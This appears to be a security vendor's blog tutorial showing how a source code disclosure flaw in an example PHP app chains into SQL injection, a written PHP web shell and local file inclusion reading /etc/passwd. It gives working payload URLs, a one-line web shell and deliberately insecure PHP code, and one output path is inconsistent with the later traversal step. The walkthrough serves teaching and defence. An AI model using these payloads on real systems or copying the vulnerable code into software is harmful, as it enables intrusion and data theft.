Source code often contains some form of sensitive information. It may be configuration-related information (e.g. database credentials) or simply information about how the web application works. If source code files are disclosed, an attacker may potentially use such information to discover logical flaws. This may escalate to a chain of attacks, which would not be possible without access to the application’s source code. These may include attacks such as SQL Injection, database takeovers, and remote code execution.

Many web applications serve non-HTML files, for example, PDFs, image files, and Word documents customized for a specific user. For example, this web application at example.com allows users to download PDF files using hyperlinks:

Source Code Disclosure

If you follow the link, you make an HTTP GET request to a download.php script with a filename parameter. More specifically, the browser sends the following request to the web server when you click the link:

http://www.example.com/download.php?filename=aboutus.pdf

The download.php script seems to allow users to download a specific file from the server. Based on this assumption, you can try to send a request to download.php, passing download.php as the value for the filename parameter. The resulting URL is as follows:

http://www.example.com/download.php?filename=download.php

As a result, the server-side source code of the file download.php is served to the browser. The PHP code reveals that the script is performing absolutely no user input validation.

<?php

// Import global config values
include('admin/config.php');

// Get the filename passed by the user
$filepath = $_GET['filename'];

if ($filepath) {
    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());
    }

    $user_agent = $_SERVER['HTTP_USER_AGENT'];

    // Used by stats.php to track download trends
    $sql = "INSERT INTO stats VALUES ('$filepath', now(), '$user_agent')";

    $result = mysql_query($sql, $connection);

    if (!$result) {
        echo 'DB Error: ' . mysql_error($connection);
        exit;
    }

    // Clean-up and send file
    mysql_close($connection);
    header('Content-Disposition: attachment; filename=' . basename($filepath));
    readfile($filepath);
}

Escalating the Attack

The contents of download.php reveals more information. For example, you can see an interesting comment: Used by stats.php to track download trends. There is also an include directive that includes the admin/config.php file.

You can use this information to go through the application directory and gain more information before escalating the attack. Using the source code disclosure vulnerability, download two more files. The first one is admin/config.php:

http://www.example.com/download.php?filename=admin/config.php

image05

<?php

$cfg['TITLE'] = 'Vulnerable Host';

$cfg['BASE_URL'] = 'http://www.example.com/';

$cfg['DATABASE']['TYPE'] = 'mysql';
$cfg['DATABASE']['HOST'] = 'localhost';
$cfg['DATABASE']['UNAME'] = 'root';
$cfg['DATABASE']['PASS'] = 'toor';
?>

You now know that the database is hosted on the same server as the web application and that the database server is MySQL on localhost. You cannot connect to it, because it does not accept any external connections. The second file to download is stats.php:

http://www.example.com/download.php?filename=stats.php

Source code disclosure 3

<?php

// Import global config values
include('admin/config.php');

print '<table style="width:100%">';
print '<tr><th>Available Files</th>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=aboutus.pdf>About Us (PDF)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=pricing.html>Pricing (HTML)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=services.pdf>Services (PDF)</a></td>';
print '</table>';

print '<br>'; print '<br>';

$filepath = $_GET['filename'];

if ($filepath) {

    // Import the user-specified file
    include($filepath);

    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());
    }

    $sql = "SELECT * FROM stats WHERE filename = '$filepath'";

    $result = mysql_query($sql, $connection) or die(mysql_error());

    print '<table style="width:100%; border: 1px solid black; text-align: left;">';
    print '<tr><th>Filename</th><th>Timestamp</th><th>User-Agent String</th></tr>';
    
    while ($row = mysql_fetch_assoc($result)) {
        print "<tr>";
        foreach ($row as $column => $value) {
            print "<td style='text-align: left;'>$value</td>";
        }
        print "</tr>";
    }

    print '</table>';
}

The stats.php file provides the history of all downloads for a particular set of files. The logs are fetched directly from the same table that they are inserted into from download.php. This interesting information suggests that there may be an SQL Injection vulnerability.

SQL Injection

Because you know that the database is based on MySQL, you can use SQL Injection techniques designed for MySQL. First, fetch the version of MySQL using the following payload:

http://www.example.com/stats.php?filename=' UNION SELECT @@version, null, null#

source code disclosure 4

Looks like the server is running Ubuntu 14.04.1 and MySQL 5.5.49. Now you can try to place a web shell onto the server by using the SELECT … INTO OUTFILE … statement. The web shell should be placed in an unrestricted part of the server’s file system, which is easy to access. In this case, since it is running Ubuntu 14.04.1, you can place the file in /tmp/, which does not hold any user restrictions. You can use the following simple PHP web shell that lets you execute a system command by passing it via a GET parameter (e.g. ?cmd=whoami):

<?php echo(system($_GET["cmd"])); ?>

You need to execute the following statement:

SELECT * FROM stats WHERE filename = '' UNION SELECT '<?php system($_GET["cmd"]); ?>', '', '' INTO OUTFILE '/tmp/cmd.php';#

Extend the query using a UNION directive and the SELECT … INTO OUTFILE … directive. This lets you save a file called cmd.php. If the filename parameter is empty, no other data is written to this file.

Combining the above information, you can use the following request to create the malicious file:

http://www.example.com/stats.php?filename=' UNION SELECT '<?php echo(system($_GET["cmd"])); ?>', '', '' INTO OUTFILE 'cmd.php';#

source code disclosure 5

The request returns no values to the web page. This is a good sign, as it indicates that the output has been successfully written.

The Last Step

Since the web shell is in /tmp/, you need to figure out a way to not only access (read) but also invoke the cmd.php file. You can exploit a Directory Traversal (Path Traversal) vulnerability to read the file and a Local File Inclusion vulnerability to invoke the web shell. Try the following request:

http://www.example.com/stats.php?filename=../../../../../../../../../../../../../../tmp/cmd.php&cmd=cat /etc/passwd

source code disclosure 6

Recommendations

Discovering all of the above vulnerabilities manually requires a lot of time and effort. You could also miss other potential vulnerabilities, for example, Cross-site Scripting. Instead, to maintain full IT security, you can just use the Acunetix Vulnerability Scanner.

SHARE THIS POST
THE AUTHOR
Juxhin Dyrmishi Brigjaj

Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.